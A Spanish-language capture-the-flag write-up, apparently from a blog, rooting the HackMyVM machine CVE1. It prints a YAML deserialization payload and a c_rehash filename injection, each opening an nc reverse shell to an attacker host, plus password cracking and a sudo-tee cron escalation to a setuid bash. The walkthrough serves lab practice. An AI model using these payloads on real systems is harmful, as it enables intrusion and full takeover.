cd ~/blog

~/writeups/hmv/112-cve1.md

112 - CVE1

easy Linux hmv 10-08-2024
PyTorch Lightning YAML deserialization RCEc_rehash command injection (CVE-2022-1292)ZIP cracking + sudo tee cron Privesc
hackmyvm.eu/machines/machine.php?vm=CVE1

~1 min de lectura


Enumeramos puertos:

 nmap -sCV -p 22,80,9090 -oN 02-targeted.txt 192.168.1.27
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-10 18:17 -04
Nmap scan report for 192.168.1.27
Host is up (0.00031s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.54 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
9090/tcp open  http    Apache httpd 2.4.54 ((Debian))
|_http-server-header: Apache/2.4.54 (Debian)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

El servicio del puerto 9090 revela el backend en un comentario:

<!--Backend developed with PyTorch Lightning 1.5.9-->

Esa versión es vulnerable a deserialización insegura de YAML. Usando este PoC creamos un file.yaml con un payload que ejecuta una reverse shell:

- !!python/object/new:yaml.MappingNode
  listitems: !!str '!!python/object/apply:subprocess.Popen [["nc", "-e", "/bin/bash", "192.168.1.5", "1234"]]'
  state:
    tag: !!str dummy
    value: !!str dummy
    extend: !!python/name:yaml.unsafe_load
 ncat -nlvp 1234
Ncat: Connection from 192.168.1.27:37398.
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Para escalar, encontramos un cronjob del usuario wicca que ejecuta c_rehash:

www-data@cve-pt1:/etc$ grep -r wicca 2>/dev/null
...
cron.d/cve1:*/1 * * * * wicca c_rehash /etc/ssl/certs/
cron.d/cve1:*/1 * * * * wicca sleep 30; c_rehash /etc/ssl/certs/
...

c_rehash es vulnerable a inyección de comandos vía nombres de archivo (CVE-2022-1292). Creamos un certificado con el payload en su nombre:

www-data@cve-pt1:/etc/ssl/certs$ echo "-----BEGIN CERTIFICATE-----" > "pwned.crt\`nc -c bash 192.168.1.5 4321\`"

 ncat -nlvp 4321
Ncat: Connection from 192.168.1.27:44074.
script /dev/null -c bash
Script started, output log file is '/dev/null'.
wicca@cve-pt1:/etc/ssl/certs$

Obtenemos shell como wicca y la primera flag. En su home hay un Backup.zip cifrado que crackeamos con john:

 zip2john Backup.zip > hash
 john -w=/home/wh01s17/Documents/wordlists/rockyou.txt hash
...
secret!          (Backup.zip)
...

Dentro hay un script que ejecuta root vía cron (0845.py, que inyecta comandos por la variable PL_TRAINER_GPUS) leyendo de /root/command.txt. Lo confirmamos con pspy:

...
2024/08/10 18:34:06 CMD: UID=0     PID=45850  | python3 /root/0845.py
2024/08/10 18:34:06 CMD: UID=0     PID=45851  | sh -c bash /root/command.txt
...

Y wicca puede ejecutar tee como root:

wicca@cve-pt1:/tmp$ sudo -l
...
User wicca may run the following commands on cve-pt1:
    (root) NOPASSWD: /usr/bin/tee

Así que escribimos nuestro comando en /root/command.txt con tee y esperamos al cron:

wicca@cve-pt1:/tmp$ echo "chmod u+s /bin/bash" | sudo tee /root/command.txt

wicca@cve-pt1:/tmp$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1234376 Mar 27  2022 /bin/bash
wicca@cve-pt1:/tmp$ bash -p
bash-5.1# whoami
root

Otra alternativa es editar directamente /etc/passwd con tee y dejar a root sin contraseña.

Obtenemos nuestra flag.

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados